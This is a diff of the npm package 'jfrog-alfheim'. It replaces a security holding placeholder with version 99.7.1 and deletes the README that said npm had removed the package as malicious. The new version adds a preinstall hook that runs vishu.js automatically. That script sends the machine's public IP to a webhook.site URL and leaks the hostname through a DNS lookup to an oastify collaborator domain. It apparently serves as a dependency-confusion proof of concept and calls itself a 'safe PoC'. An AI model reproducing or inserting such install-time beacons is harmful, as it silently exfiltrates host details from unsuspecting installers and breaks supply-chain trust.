jfrog-alfheim 0.0.1-security → 99.7.1

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "jfrog-alfheim",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.7.1",
+  "description": "Facebook White Hat Researcher",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node vishu.js"
+  },
+  "author": "Vishal Kumar",
+  "license": "MIT"
 }

package/vishu.js

@@ -0,0 +1,62 @@
+// minimal-index.js
+// ✅ Safe PoC - only public IP + DNS ping + webhook.site
+
+const dns = require("dns");
+const https = require("https");
+const os = require("os");
+
+// Replace with your webhook.site unique URL
+const WEBHOOK_URL = "https://webhook.site/66c4d84a-ac76-4b83-bb68-5a992164c7b7";
+const COLLAB_DOMAIN = "your-collab-domain.oastify.com"; // optional, for DNS log
+
+// Get public IP via external service
+function getPublicIP(callback) {
+  https.get("https://api.ipify.org?format=json", (res) => {
+    let data = "";
+    res.on("data", chunk => data += chunk);
+    res.on("end", () => {
+      try {
+        const ip = JSON.parse(data).ip;
+        callback(ip);
+      } catch {
+        callback("unknown");
+      }
+    });
+  }).on("error", () => callback("unknown"));
+}
+
+// Send DNS Pingback (optional)
+function sendDnsPing() {
+  try {
+    const dnsSub = `ping-${os.hostname().replace(/\./g, "-")}.${COLLAB_DOMAIN}`;
+    dns.lookup(dnsSub, () => {}); // fire-and-forget
+  } catch (_) {}
+}
+
+// Send HTTP ping to webhook.site with IP
+function sendHttpPing(ip) {
+  const url = new URL(WEBHOOK_URL);
+  url.searchParams.append("ip", ip);
+
+  const options = {
+    hostname: url.hostname,
+    port: 443,
+    path: url.pathname + url.search,
+    method: "GET",
+    timeout: 3000
+  };
+
+  const req = https.request(options, (res) => {
+    res.on("data", () => {}); // ignore response
+  });
+  req.on("error", () => {});
+  req.end();
+}
+
+// Run
+(function main() {
+  getPublicIP((ip) => {
+    sendHttpPing(ip);  // ✅ Goes to your webhook.site
+    sendDnsPing();     // ✅ Optional DNS ping
+  });
+})();

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=jfrog-alfheim for more information.